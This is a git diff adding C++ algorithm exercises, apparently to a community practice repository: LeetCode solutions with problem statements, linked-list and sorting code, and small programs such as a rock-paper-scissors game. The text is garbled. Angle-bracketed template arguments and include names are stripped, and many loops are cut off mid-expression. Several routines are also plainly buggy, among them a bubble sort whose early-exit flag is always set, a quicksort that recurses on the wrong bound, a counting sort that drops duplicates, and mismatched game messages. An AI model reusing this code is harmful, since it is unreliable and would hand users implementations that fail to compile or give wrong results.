+ diff --git a/CPP/Leet Code Solutions/longest common subsequence/longest_common_subs.cpp b/CPP/Leet Code Solutions/longest common subsequence/longest_common_subs.cpp new file mode 100644 index 000000000..f68037a5b --- /dev/null +++ b/CPP/Leet Code Solutions/longest common subsequence/longest_common_subs.cpp @@ -0,0 +1,25 @@ +class Solution { +public: + vector> dp; + + int dfs(string& text1, string& text2, int pos1, int pos2){ + if(pos1 == text1.length() or pos2 == text2.length()) + return 0; + + if(dp[pos1][pos2] != -1) + return dp[pos1][pos2]; + + if(text1[pos1] == text2[pos2]) + return dp[pos1][pos2] = 1 + dfs(text1, text2, pos1+1, pos2+1); + + return dp[pos1][pos2] = max( + dfs(text1, text2, pos1+1, pos2), + dfs(text1, text2, pos1, pos2+1) + ); + } + + int longestCommonSubsequence(string text1, string text2) { + dp.resize(text1.length()+1, vector(text2.length()+1, -1)); + return dfs(text1, text2, 0, 0); + } +}; diff --git a/CPP/Leet Code Solutions/maximum-subarray/README.md b/CPP/Leet Code Solutions/maximum-subarray/README.md new file mode 100644 index 000000000..f214b51fb --- /dev/null +++ b/CPP/Leet Code Solutions/maximum-subarray/README.md @@ -0,0 +1,35 @@ +

53. Maximum Subarray

Easy


Given an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.

+ +

A subarray is a contiguous part of an array.

+ +

 

+

Example 1:

+ +
Input: nums = [-2,1,-3,4,-1,2,1,-5,4]
+Output: 6
+Explanation: [4,-1,2,1] has the largest sum = 6.
+
+ +

Example 2:

+ +
Input: nums = [1]
+Output: 1
+
+ +

Example 3:

+ +
Input: nums = [5,4,-1,7,8]
+Output: 23
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 105
  • +
  • -104 <= nums[i] <= 104
  • +
+ +

 

+

Follow up: If you have figured out the O(n) solution, try coding another solution using the divide and conquer approach, which is more subtle.

+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/maximum-subarray/maximum-subarray.cpp b/CPP/Leet Code Solutions/maximum-subarray/maximum-subarray.cpp new file mode 100644 index 000000000..abd36ea3e --- /dev/null +++ b/CPP/Leet Code Solutions/maximum-subarray/maximum-subarray.cpp @@ -0,0 +1,14 @@ +class Solution { +public: + // we will use kadane's algorithm + int maxSubArray(vector& nums) { + int max_sum = INT_MIN; + int current_sum = 0; + for(int i=0;i88. Merge Sorted Array

Easy


You are given two integer arrays nums1 and nums2, sorted in non-decreasing order, and two integers m and n, representing the number of elements in nums1 and nums2 respectively.

+ +

Merge nums1 and nums2 into a single array sorted in non-decreasing order.

+ +

The final sorted array should not be returned by the function, but instead be stored inside the array nums1. To accommodate this, nums1 has a length of m + n, where the first m elements denote the elements that should be merged, and the last n elements are set to 0 and should be ignored. nums2 has a length of n.

+ +

 

+

Example 1:

+ +
Input: nums1 = [1,2,3,0,0,0], m = 3, nums2 = [2,5,6], n = 3
+Output: [1,2,2,3,5,6]
+Explanation: The arrays we are merging are [1,2,3] and [2,5,6].
+The result of the merge is [1,2,2,3,5,6] with the underlined elements coming from nums1.
+
+ +

Example 2:

+ +
Input: nums1 = [1], m = 1, nums2 = [], n = 0
+Output: [1]
+Explanation: The arrays we are merging are [1] and [].
+The result of the merge is [1].
+
+ +

Example 3:

+ +
Input: nums1 = [0], m = 0, nums2 = [1], n = 1
+Output: [1]
+Explanation: The arrays we are merging are [] and [1].
+The result of the merge is [1].
+Note that because m = 0, there are no elements in nums1. The 0 is only there to ensure the merge result can fit in nums1.
+
+ +

 

+

Constraints:

+ +
    +
  • nums1.length == m + n
  • +
  • nums2.length == n
  • +
  • 0 <= m, n <= 200
  • +
  • 1 <= m + n <= 200
  • +
  • -109 <= nums1[i], nums2[j] <= 109
  • +
+ +

 

+

Follow up: Can you come up with an algorithm that runs in O(m + n) time?

+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/merge-sorted-array/merge-sorted-array.cpp b/CPP/Leet Code Solutions/merge-sorted-array/merge-sorted-array.cpp new file mode 100644 index 000000000..76c0965ff --- /dev/null +++ b/CPP/Leet Code Solutions/merge-sorted-array/merge-sorted-array.cpp @@ -0,0 +1,24 @@ +// Method - 1 +class Solution { +public: + void merge(vector& nums1, int m, vector& nums2, int n) { + for(int i=0;i& nums1, int m, vector& nums2, int n) { + nums1.resize(m); + for(int i=0;i66. Plus One

Easy


You are given a large integer represented as an integer array digits, where each digits[i] is the ith digit of the integer. The digits are ordered from most significant to least significant in left-to-right order. The large integer does not contain any leading 0's.

+ +

Increment the large integer by one and return the resulting array of digits.

+ +

 

+

Example 1:

+ +
Input: digits = [1,2,3]
+Output: [1,2,4]
+Explanation: The array represents the integer 123.
+Incrementing by one gives 123 + 1 = 124.
+Thus, the result should be [1,2,4].
+
+ +

Example 2:

+ +
Input: digits = [4,3,2,1]
+Output: [4,3,2,2]
+Explanation: The array represents the integer 4321.
+Incrementing by one gives 4321 + 1 = 4322.
+Thus, the result should be [4,3,2,2].
+
+ +

Example 3:

+ +
Input: digits = [0]
+Output: [1]
+Explanation: The array represents the integer 0.
+Incrementing by one gives 0 + 1 = 1.
+Thus, the result should be [1].
+
+ +

Example 4:

+ +
Input: digits = [9]
+Output: [1,0]
+Explanation: The array represents the integer 9.
+Incrementing by one gives 9 + 1 = 10.
+Thus, the result should be [1,0].
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= digits.length <= 100
  • +
  • 0 <= digits[i] <= 9
  • +
  • digits does not contain any leading 0's.
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/plus-one/plus-one.cpp b/CPP/Leet Code Solutions/plus-one/plus-one.cpp new file mode 100644 index 000000000..c8f912199 --- /dev/null +++ b/CPP/Leet Code Solutions/plus-one/plus-one.cpp @@ -0,0 +1,19 @@ +class Solution { +public: + vector plusOne(vector& digits) { + int n = digits.size(); + + for(int i=n-1;i>=0;i--){ + if(digits[i]<9){ + digits[i]++; + return digits; + } + digits[i]=0; + } + + digits[0] = 1; + digits.push_back(0); + return digits; + + } +}; \ No newline at end of file diff --git a/CPP/Leet Code Solutions/roman-to-integer/README.md b/CPP/Leet Code Solutions/roman-to-integer/README.md new file mode 100644 index 000000000..1c6e09795 --- /dev/null +++ b/CPP/Leet Code Solutions/roman-to-integer/README.md @@ -0,0 +1,65 @@ +

13. Roman to Integer

Easy


Roman numerals are represented by seven different symbols: I, V, X, L, C, D and M.

+ +
Symbol       Value
+I             1
+V             5
+X             10
+L             50
+C             100
+D             500
+M             1000
+ +

For example, 2 is written as II in Roman numeral, just two one's added together. 12 is written as XII, which is simply X + II. The number 27 is written as XXVII, which is XX + V + II.

+ +

Roman numerals are usually written largest to smallest from left to right. However, the numeral for four is not IIII. Instead, the number four is written as IV. Because the one is before the five we subtract it making four. The same principle applies to the number nine, which is written as IX. There are six instances where subtraction is used:

+ +
    +
  • I can be placed before V (5) and X (10) to make 4 and 9. 
  • +
  • X can be placed before L (50) and C (100) to make 40 and 90. 
  • +
  • C can be placed before D (500) and M (1000) to make 400 and 900.
  • +
+ +

Given a roman numeral, convert it to an integer.

+ +

 

+

Example 1:

+ +
Input: s = "III"
+Output: 3
+
+ +

Example 2:

+ +
Input: s = "IV"
+Output: 4
+
+ +

Example 3:

+ +
Input: s = "IX"
+Output: 9
+
+ +

Example 4:

+ +
Input: s = "LVIII"
+Output: 58
+Explanation: L = 50, V= 5, III = 3.
+
+ +

Example 5:

+ +
Input: s = "MCMXCIV"
+Output: 1994
+Explanation: M = 1000, CM = 900, XC = 90 and IV = 4.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 15
  • +
  • s contains only the characters ('I', 'V', 'X', 'L', 'C', 'D', 'M').
  • +
  • It is guaranteed that s is a valid roman numeral in the range [1, 3999].
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/roman-to-integer/roman-to-integer.cpp b/CPP/Leet Code Solutions/roman-to-integer/roman-to-integer.cpp new file mode 100644 index 000000000..57554c7de --- /dev/null +++ b/CPP/Leet Code Solutions/roman-to-integer/roman-to-integer.cpp @@ -0,0 +1,38 @@ +class Solution { +public: + int getNumber(char c){ + switch(c){ + case 'I' : return 1; + case 'V' : return 5; + case 'X' : return 10; + case 'L' : return 50; + case 'C' : return 100; + case 'D' : return 500; + case 'M' : return 1000; + default : return -1; + } + } + + int romanToInt(string s) { + int result = 0, current, next; + int i = 0; + int n = s.size(); + while(i=next){ + result += current; + i++; + } else { + result += next - current; + i += 2; + } + } + return result; + + } +}; \ No newline at end of file diff --git a/CPP/Leet Code Solutions/single-number/README.md b/CPP/Leet Code Solutions/single-number/README.md new file mode 100644 index 000000000..12484e9da --- /dev/null +++ b/CPP/Leet Code Solutions/single-number/README.md @@ -0,0 +1,24 @@ +

136. Single Number

Easy


Given a non-empty array of integers nums, every element appears twice except for one. Find that single one.

+ +

You must implement a solution with a linear runtime complexity and use only constant extra space.

+ +

 

+

Example 1:

+
Input: nums = [2,2,1]
+Output: 1
+

Example 2:

+
Input: nums = [4,1,2,1,2]
+Output: 4
+

Example 3:

+
Input: nums = [1]
+Output: 1
+
+

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 3 * 104
  • +
  • -3 * 104 <= nums[i] <= 3 * 104
  • +
  • Each element in the array appears twice except for one element which appears only once.
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/single-number/single-number.cpp b/CPP/Leet Code Solutions/single-number/single-number.cpp new file mode 100644 index 000000000..745f3923e --- /dev/null +++ b/CPP/Leet Code Solutions/single-number/single-number.cpp @@ -0,0 +1,20 @@ +class Solution { +public: + int singleNumber(vector& nums) { + if(nums.size()==1){ + return nums[0]; + } + set nums_set(nums.begin(), nums.end()); + int set_sum = 0; + int total_sum = 0; + for(int x:nums_set){ + set_sum += x; + } + for(int x:nums){ + total_sum += x; + } + int single_num = 2*set_sum - total_sum; + return single_num; + + } +}; \ No newline at end of file diff --git a/CPP/Leet Code Solutions/two-sum-ii-input-array-is-sorted/README.md b/CPP/Leet Code Solutions/two-sum-ii-input-array-is-sorted/README.md new file mode 100644 index 000000000..76542e802 --- /dev/null +++ b/CPP/Leet Code Solutions/two-sum-ii-input-array-is-sorted/README.md @@ -0,0 +1,39 @@ +

167. Two Sum II - Input array is sorted

Easy


Given a 1-indexed array of integers numbers that is already sorted in non-decreasing order, find two numbers such that they add up to a specific target number. Let these two numbers be numbers[index1] and numbers[index2] where 1 <= first < second <= numbers.length.

+ +

Return the indices of the two numbers, index1 and index2, as an integer array [index1, index2] of length 2.

+ +

The tests are generated such that there is exactly one solution. You may not use the same element twice.

+ +

 

+

Example 1:

+ +
Input: numbers = [2,7,11,15], target = 9
+Output: [1,2]
+Explanation: The sum of 2 and 7 is 9. Therefore index1 = 1, index2 = 2.
+
+ +

Example 2:

+ +
Input: numbers = [2,3,4], target = 6
+Output: [1,3]
+Explanation: The sum of 2 and 4 is 6. Therefore index1 = 1, index2 = 3.
+
+ +

Example 3:

+ +
Input: numbers = [-1,0], target = -1
+Output: [1,2]
+Explanation: The sum of -1 and 0 is -1. Therefore index1 = 1, index2 = 2.
+
+ +

 

+

Constraints:

+ +
    +
  • 2 <= numbers.length <= 3 * 104
  • +
  • -1000 <= numbers[i] <= 1000
  • +
  • numbers is sorted in non-decreasing order.
  • +
  • -1000 <= target <= 1000
  • +
  • The tests are generated such that there is exactly one solution.
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.cpp b/CPP/Leet Code Solutions/two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.cpp new file mode 100644 index 000000000..4ece31ddd --- /dev/null +++ b/CPP/Leet Code Solutions/two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.cpp @@ -0,0 +1,18 @@ +class Solution { +public: + vector twoSum(vector& numbers, int target) { + int start = 0; + int end = numbers.size()-1; + while(start target){ + end--; + } else if(sum < target){ + start++; + } else { + return vector{start+1, end+1}; + } + } + return vector{start+1, end+1}; + } +}; \ No newline at end of file diff --git a/CPP/LengthOfLinkedList.cpp b/CPP/LengthOfLinkedList.cpp new file mode 100644 index 000000000..a8cdb3960 --- /dev/null +++ b/CPP/LengthOfLinkedList.cpp @@ -0,0 +1,63 @@ + +#include +using namespace std; + +/* Link list node */ +class Node +{ + public: + int data; + Node* next; +}; + +/* Given a reference (pointer to pointer) to the head +of a list and an int, push a new node on the front +of the list. */ +void push(Node** head_ref, int new_data) +{ + /* allocate node */ + Node* new_node =new Node(); + + /* put in the data */ + new_node->data = new_data; + + /* link the old list off the new node */ + new_node->next = (*head_ref); + + /* move the head to point to the new node */ + (*head_ref) = new_node; +} + +/* Counts no. of nodes in linked list */ +int getCount(Node* head) +{ + int count = 0; // Initialize count + Node* current = head; // Initialize current + while (current != NULL) + { + count++; + current = current->next; + } + return count; +} + +/* Driver program to test count function*/ +int main() +{ + /* Start with the empty list */ + Node* head = NULL; + + /* Use push() to construct below list + 1->2->1->3->1 */ + push(&head, 1); + push(&head, 3); + push(&head, 1); + push(&head, 2); + push(&head, 1); + + /* Check the count function */ + cout<<"count of nodes is "<< getCount(head); + return 0; +} + +// This is code is contributed by rathbhupendra \ No newline at end of file diff --git a/CPP/Matrix transpose.cpp b/CPP/Matrix transpose.cpp new file mode 100644 index 000000000..83199b8f3 --- /dev/null +++ b/CPP/Matrix transpose.cpp @@ -0,0 +1,31 @@ +//Matrix Transpose + +#include +using namespace std; + +int main() +{ + int n; + cin>>n; + cout<<"\n"; + int a[n][n]; + + for(int i=0;i>a[i][j]; + } + } + cout<<"\n"; + + for(int i=0;i +using namespace std; +int main() +{ + int n; + cin >> n; + int heights[n]; + for (int i = 0; i < n; i++) + { + cin >> heights[i]; + } + stack> temp; + vector right; + vector left; + for (int i = 0; i < n; i++) + { + if (temp.empty() == true) + { + right.push_back(-1); + } + else if (temp.top().first < heights[i]) + { + right.push_back(temp.top().second); + } + else if (temp.top().first >= heights[i]) + { + while (temp.empty() == false && temp.top().first >= heights[i]) + { + temp.pop(); + } + if (temp.empty() == true) + { + right.push_back(-1); + } + else + { + right.push_back(temp.top().second); + } + } + temp.push({heights[i], i}); + } + while (temp.empty() == false) + temp.pop(); + + for (int i = n - 1; i >= 0; i--) + { + if (temp.empty() == true) + { + left.push_back(n); + } + else if (temp.top().first < heights[i]) + { + left.push_back(temp.top().second); + } + else if (temp.top().first >= heights[i]) + { + while (temp.empty() == false && temp.top().first >= heights[i]) + { + temp.pop(); + } + if (temp.empty() == true) + { + left.push_back(n); + } + else + { + left.push_back(temp.top().second); + } + } + temp.push({heights[i], i}); + } + + int res = INT_MIN; + for (int i = 0; i < n; i++) + { + right[i] = (left[n - i - 1] - right[i] - 1) * heights[i]; + res = max(res, right[i]); + } + return 0; +} diff --git a/CPP/Median_of_2_sorted_arrays.cpp b/CPP/Median_of_2_sorted_arrays.cpp new file mode 100644 index 000000000..d8823712c --- /dev/null +++ b/CPP/Median_of_2_sorted_arrays.cpp @@ -0,0 +1,72 @@ +/***** Median of 2 sorted arrays ******/ +/***** Contributed by Raunak Gayen ******/ +/***** Time Complexity - O(min(logn1,logn2)) ******/ +/***** Space Complexity - O(1) ******/ + + +#include +using namespace std; + +//function for median calculation +double findMedianSortedArrays(vector arr1,vector arr2) +{ + int n1 = arr1.size(); + int n2 = arr2.size(); + + if(n1 > n2) + return findMedianSortedArrays(arr2,arr1); + + int left = 0; + int right = n1; + + while(left <= right) + { + int cut1 = (left + right)/2; + int cut2 = (n1 + n2 + 1)/2 - cut1; + + int l1 = cut1 == 0 ? INT_MIN : arr1[cut1 - 1]; + int l2 = cut2 == 0 ? INT_MIN : arr2[cut2 - 1]; + + int r1 = cut1 == n1 ? INT_MAX : arr1[cut1]; + int r2 = cut2 == n2 ? INT_MAX : arr2[cut2]; + + if(l1 <= r2 && l2 <= r1) + { + if((n1 + n2) % 2 == 0) + return (double)(max(l1,l2) + min(r1,r2))/2.0; + else + return (double)max(l1,l2); + } + else if(l1 > r2) + { + right = cut1 - 1; + } + else + { + left = cut1 + 1; + } + } + + return 0.0; + +} + + +int main() +{ + int n1,n2; + cin>>n1>>n2; // n1 -> size of 1st array and n2 -> size of 2nd array + vector arr1(n1); + vector arr2(n2); + + for(int i = 0; i < n1; i++) cin>>arr1[i]; // taking inputs for 1st array + + for(int i = 0; i < n2; i++) cin>>arr2[i]; // taking inputs for 2nd array + + //lets deal with the smaller array first + + double median = findMedianSortedArrays(arr1,arr2); + + cout<<"The median of the 2 sorted arrays is: "<2->3->4->5. +Example 2: +Input: +N = 3 +value[] = {9,15,0} +Output: 0 9 15 +Explanation: After sorting the given +linked list , resultant will be +0->9->15. +Expected Time Complexity: O(N*Log(N)) +Expected Auxiliary Space: O(N) + */ +#include +using namespace std; +struct node{ + int data; + node* next; +}; +void push(node** head, int l_data){ + node* temp = new node(); + temp->data = l_data; + temp->next=NULL; + if(*head == NULL){ + *head = temp; + return; + } + node*n = *head; + while(n->next!=NULL) + n = n->next; + n->next=temp; +} +void findMiddleElement(node* curr, node**first, node**second){ + node* slow= curr; + node* fast = curr->next; + while(fast!=NULL){ + fast=fast->next; + while(fast!=NULL){ + slow=slow->next; + fast=fast->next; + } + } + + *first = curr; + *second = slow->next; + slow->next=NULL; +} + +node* mergeBoth(node* first, node* second){ + node* answer = NULL; + if(!first) + return second; + if(!second) + return first; + + if(first->data <= second->data){ + answer = first; + answer->next = mergeBoth(first->next, second); + }else{ + answer = second; + answer->next = mergeBoth(first, second->next); + } + return answer; +} + +void MergeSorting(node**head){ + node* curr= *head; + node* first; + node* second; + if(!curr || !curr->next) return; + + findMiddleElement(curr, &first, &second); + + MergeSorting(&first); + MergeSorting(&second); + *head = mergeBoth(first, second); +} +node* mergeSort(node* head){ + MergeSorting(&head); + return head; +} +void print(node* n){ + while(n!=NULL){ + cout<data<<" "; + n = n->next; + } + cout<<"\n"; +} +int main(){ + node* head = NULL; + int n, ele; + cout<<"\n Enter the size of the llist : "; + cin>>n; + cout<<"\n Enter elements to be entered in linked list: "; + for(int i=0; i>ele; + push(&head, ele); + } + cout<<"\n The llist 1 is: "; + print(head); + head = mergeSort(head); + cout<<"\n merge sort of ll: "; + + print(head); +} \ No newline at end of file diff --git a/CPP/Permitation.cpp b/CPP/Permitation.cpp new file mode 100644 index 000000000..d22673e1e --- /dev/null +++ b/CPP/Permitation.cpp @@ -0,0 +1,49 @@ +//author : saurabh nikam +//hackober fest submittion +#include +#include +using namespace std; + #define ios ios::sync_with_stdio(false);cin.tie(NULL) + #define endl "\n" + #define ll long long + + void solve() + { + ll n; + cin>>n; + if(n==1) + { + cout<<1<3){ + vector arr; + for(ll i=2;i<=n;i=i+2) + { + arr.push_back(i); + } + for(ll i=1;i<=n;i=i+2) + { + arr.push_back(i); + } + for(ll i=0;i>tt; + + while(tt--) + { + solve(); + } + return 0; +} \ No newline at end of file diff --git a/CPP/PrimeCheck.cpp b/CPP/PrimeCheck.cpp new file mode 100644 index 000000000..d3fe7c0d1 --- /dev/null +++ b/CPP/PrimeCheck.cpp @@ -0,0 +1,29 @@ +/* +------------------------------------------------------------------------------------------------ +USERNAME: RASESH2005 +DESCRIPTION: THIS PROGRAM CHECKS IF A NUMBER IS PRIME OR NOT +DATE: 1/10/2021 +------------------------------------------------------------------------------------------------ +*/ +#include + +using namespace std; + +//SNIPPET +bool isPrime(int n) +{ + for (int i = 2; i <= int(sqrt(n) + 1); i++) + { + if (n % i == 0) + return false; + } + return true; +} +int main() +{ + //APPLICATION + bool result = isPrime(24498757); + cout << result << endl; + cout << (result ? "Prime" : "Not A Prime") << endl; + return 0; +} diff --git a/CPP/Print_permutations.cpp b/CPP/Print_permutations.cpp new file mode 100644 index 000000000..8107fa397 --- /dev/null +++ b/CPP/Print_permutations.cpp @@ -0,0 +1,27 @@ +#include +#include +using namespace std; +void printPermutationsHelper(string input, string output){ + if(input.length() == 0){ + cout << output << endl; + return; + } + for(int i = 0; i< input.length(); i++){ + char ch=input[i]; + string lstr=input.substr(0,i); + string rstr=input.substr(i+1); + string str=lstr+rstr; + printPermutationsHelper(str,output+ch); + } +} +void printPermutations(string input){ + printPermutationsHelper(input, ""); + return; +} + +int main() { + string input; + cin >> input; + printPermutations(input); + return 0; +} \ No newline at end of file diff --git a/CPP/Priority Queue.cpp b/CPP/Priority Queue.cpp new file mode 100644 index 000000000..0883647d7 --- /dev/null +++ b/CPP/Priority Queue.cpp @@ -0,0 +1,39 @@ +#include +#include +#include +using namespace std; + +int main() +{ + { + priority_queue q; + for(int elm: {1,8,5,6,3,4}) + q.push(elm); + while(!q.empty()){ + cout<, greater> q2; + for(int elm: {1,8,5,6,3,4}) + q2.push(elm); + while(!q2.empty()){ + cout<, decltype(cmp)> q3(cmp); + for(int elm: {1,8,5,6,3,4}) + q3.push(elm); + while(!q3.empty()){ + cout< +using namespace std; + +char *removeDuplicate(char str1[], int n) +{ +int index = 0; + + +for (int i=0; i>str1; +int n = str1.size(); +cout << removeDuplicate(str1, n); +return 0; +} diff --git a/CPP/Reverse string b/CPP/Reverse string new file mode 100644 index 000000000..e60166e35 --- /dev/null +++ b/CPP/Reverse string @@ -0,0 +1,18 @@ +#include +using namespace std; +char* reverse(char *str, int len); +int main() +{ + long long int t; + cin>>t; + while(t--) + { + char str[10000]; + cin>>str; + long long int len=strlen(str); + char *ch=reverse(str,len); + cout< + +// Constant variables +const char ROCK = 'r'; +const char PAPER = 'p'; +const char SCISSORS = 's'; + +using namespace std; + +char getComputerOption() { + srand(time(0)); + // Random number + int num = rand() % 3 + 1; + + if(num==1) return 'r'; + if(num==2) return 'p'; + if(num==3) return 's'; +} + +char getUserOption() { + char c; + cout << "Rock, Paper and Scissors Game!" << endl; + cout << "Choose one of the following options" << endl; + cout << "-----------------------------------" << endl; + cout << "(r) for rock " << endl << "(p) for paper" << endl << "(s) for scissors " << endl; + cin >> c; + + while (c!='r' && c!='p' && c!='s' ) + { + cout << "Please enter one of the following options only. " << endl; + cout << "(r) for rock " << endl << "(p) for paper" << endl << "(s) for scissors " << endl; + cin >> c; + } + + return c; +} + +void showSelectedOption(char option) { + if (option == 'r') cout << "Rock" << endl; + if (option == 'p') cout << "Paper" << endl; + if (option == 's') cout << "Scissors" << endl; +} + +void chooseWinner(char uChoice, char cChoice) { + if (uChoice == ROCK && cChoice == PAPER) { + cout << "Computer Wins! Paper wraps Rock."<< endl; + } + else if (uChoice == PAPER && cChoice == SCISSORS) { + cout << "Computer Wins! Scissors cut Paper."<< endl; + + } + else if (uChoice == SCISSORS && cChoice == ROCK) { + cout << "Computer Wins! Rock smashes Scissors."<< endl; + + } + else if (uChoice == ROCK && cChoice == SCISSORS) { + cout << "You Win! Paper wraps Rock."<< endl; + + } + else if (uChoice == PAPER && cChoice == ROCK) { + cout << "You Win! Paper wraps Rock."<< endl; + + } + else if (uChoice == SCISSORS && cChoice == PAPER) { + cout << "You Win! Scissors cut Paper."<< endl; + } + else{ + cout << "Tie. Play again win the Game." << endl; + } +} + +int main() { + //User's choice + char uChoice; + //Compter's choice + char cChoice; + + uChoice = getUserOption(); + cout << "Your choice is: "<< endl; + showSelectedOption(uChoice); + + cout << "Computer's choice is: "<< endl; + cChoice = getComputerOption(); + showSelectedOption(cChoice); + + chooseWinner(uChoice, cChoice); + + return 0; +} diff --git a/CPP/STL_UnorderedMap b/CPP/STL_UnorderedMap.cpp similarity index 100% rename from CPP/STL_UnorderedMap rename to CPP/STL_UnorderedMap.cpp diff --git a/CPP/Second Largest Element.cpp b/CPP/Second Largest Element.cpp new file mode 100644 index 000000000..399ba9cea --- /dev/null +++ b/CPP/Second Largest Element.cpp @@ -0,0 +1,40 @@ +//Second largest element + +#include +using namespace std; + +void bsort(int arr[],int n) +{ + int t; + for(int i=0;iarr[j+1]) + { + t=arr[j]; + arr[j]=arr[j+1]; + arr[j+1]=t; + } + } + } + + cout<<"Second largest element :"<>n; + int arr[n]; + + cout<<"Enter array elements :"; + for(int i=0;i>arr[i]; + } + + bsort(arr,n); + +} diff --git a/CPP/Selection Sort.cpp b/CPP/Selection Sort.cpp new file mode 100644 index 000000000..343c25dfc --- /dev/null +++ b/CPP/Selection Sort.cpp @@ -0,0 +1,39 @@ +#include +using namespace std; +void swapping(int &a, int &b) { //swap the content of a and b + int temp; + temp = a; + a = b; + b = temp; +} +void display(int *array, int size) { + for(int i = 0; i> n; + int arr[n]; //create an array with given number of elements + cout << "Enter elements:" << endl; + for(int i = 0; i> arr[i]; + } + cout << "Array before Sorting: "; + display(arr, n); + selectionSort(arr, n); + cout << "Array after Sorting: "; + display(arr, n); +} \ No newline at end of file diff --git a/CPP/Sorted strings.cpp b/CPP/Sorted strings.cpp new file mode 100644 index 000000000..68808a2d2 --- /dev/null +++ b/CPP/Sorted strings.cpp @@ -0,0 +1,39 @@ +#include +#include + +int main() +{ + char a[10][10],temp[10]; + int i,j,n; + printf("Enter the number of strings...."); + scanf("%d",&n); + fflush(stdin); + for(i=0;i0) + { + strcpy(temp,a[j]); + strcpy(a[j],a[j+1]); + strcpy(a[j+1],temp); + + } + } + } + printf("\nSorted strings are..."); + for(i=0;i +#define endl "\n" +using namespace std; +#include + +template +class Sorting{ + private: + T *A; + int n; + + private: + int Randomized_Partition(int l, int h); + void Merge(int l, int mid, int h); + + public: + Sorting(T arr[], int n); + ~Sorting(); + //Comparison based sorting trechniques + void BubbleSort(); //O(n^2) - max || O(n) - min + void InsertionSort(); //O(n^2) - max || O(n) - min + void SelectionSort();//O(n^2) + void QuickSort(int l, int h);//O(nlogn) - Best Case || O(n^2) - Worst Case + void QuickSort(){QuickSort(0, n);}//Dummy for QuickSort + void IMergeSort();//Iterative version of Merge Sort + void RMergeSort(int l, int h);//Average Case time - O(nlogn) - same for all cases(Recursive) + void RMergeSort(){RMergeSort(0, n-1);} + void ShellSort();//O(nlogn) for gap = n/2, may also vary O(n^3/2) and O(n^5/3) for varying gap, say prime number + + //Except MergeSort all of the above follow inplace sorting. + //Only Bubble Sort(modified adoptive), Insertion Sort(adoptive by nature), Shell Sort(derived from Insertion Sort) are adoptive. + //Bubble Sort, Insertion Sort, Merge Sort, Shell Sort are stable. + + //Index based Sorting Techniques + //Time Complexity - O(n) + //Space Complexity - O(n) + void CountSort(); + void BucketSort(); + void RadixSort(); //O(dn) where d = no of digits of max element, n = no of elements + + void Display(); +}; + +template +Sorting :: Sorting(T arr[], int n) +{ + A = new T[n+1]; + A[n] = INT32_MAX; + for(int i=0; i < n; i++) A[i] = arr[i]; + this->n = n; +} + +template +Sorting :: ~Sorting(){ + delete [] A; + this->n = 0; +} + +template +void Sorting :: BubbleSort(){ + int flag = 0; + for(int i=0; i < n-1; i++){ + for(int j=0; j < n-i-1; j++){ + if(A[j] > A[j+1]) + swap(A[j], A[j+1]); + flag = 1; + } + if(flag == 0) break; + } +} + +template +void Sorting :: InsertionSort() +{ + for(int i=1; i < n; i++) + { + T temp = A[i]; + int j = i-1; + while(j > -1 && A[j] > temp) + { + A[j+1] = A[j]; + j--; + } + A[j+1] = temp; + } +} + +template +void Sorting :: SelectionSort() +{ + for(int i=0; i +int Sorting :: Randomized_Partition(int l, int h) +{ + srand(time(0)); + //Randomize + int pivot_index = l + rand()%(h-l); + swap(A[l], A[pivot_index]); + + T pivot = A[l]; + int i=l, j=h; + while(i < j) + { + do{i++;}while(A[i] <= pivot); + do{j--;}while(A[j] > pivot); + if(i < j) + swap(A[i], A[j]); + } + swap(A[l], A[j]); + return j; +} + +template +void Sorting :: QuickSort(int l, int h) +{ + if(l < h) + { + int split = Randomized_Partition(l, h); + QuickSort(l, split); + QuickSort(split+1, n); + } +} + +template +void Sorting :: Merge(int l, int mid, int h) +{ + int i = l, j = mid+1, k=0; + int B[h-l+1]; //Auxiliary Array used for merging + while(i <= mid && j <= h) + { + if(A[i] <= A[j]) //= for stability + B[k++] = A[i++]; + else + B[k++] = A[j++]; + } + while(i <= mid) B[k++] = A[i++]; + while(j <= h) B[k++] = A[j++]; + + for(int i=l; i <= h; i++) A[i] = B[i-l]; +} + +template +void Sorting :: IMergeSort() +{ + int p, i, j, l, h, mid; + for(p=2; p <=n; p = p*2){ + for(i = 0; i+p-1 < n; i+=p){ + l = i; + h = l+p-1; + mid = (l+h)/2; + Merge(l, mid, h); + } + if(i < n) + Merge(i,(i+n-1)/2,n-1); + } + if(p/2 < n) + Merge(0, p/2-1, n-1); +} + +template +void Sorting :: RMergeSort(int l, int h) +{ + if(l < h) + { + int mid = (l+h)/2; + RMergeSort(l, mid); + RMergeSort(mid+1, h); + Merge(l, mid, h); + } +} + +template +void Sorting :: ShellSort() +{ + int gap = n/2; + for(; gap > 0; gap/=2) + { + for(int i=gap; i < n+1; i++){ + int j = i-gap; + T temp = A[i]; + while(j > -1 && A[j] > temp){ + A[j+gap] = A[j]; + j = j-gap; + } + A[j+gap] = temp; + } + } +} + +template +void Sorting :: CountSort() +{ + T m = A[0]; + int i, j; + for(i=1; i < n; i++) m = max(m, A[i]); + + int *Count = new int[m+1]; + for(i=0; i < m+1; i++) Count[i] = 0; //Initialization + for(i=0; i < n; i++) Count[A[i]]++; //Storing the occurrences of elements + + i = 0; + for(j=0; j < m+1; j++) + { + if(Count[j] > 0){ + A[i++] = j; + Count[j]--; + } + } +}; + +//For both bucket/bn sort and radix sort we need a Linked List +//Linked List start +template +class Node{ + public: + T data; + Node *next; +}; + +template +class LinkedList{ + private: + Node *first, *last; + + public: + LinkedList(){first = last = NULL;} + ~LinkedList(); + void Insert(T x); + T Delete(); + bool isEmpty(); +}; + + +template +LinkedList :: ~LinkedList(){ + Node *p; + while(first){ + p = first; + first = first->next; + delete p; + } + first = last = NULL; +} + +template +void LinkedList :: Insert(T x){ + Node *t 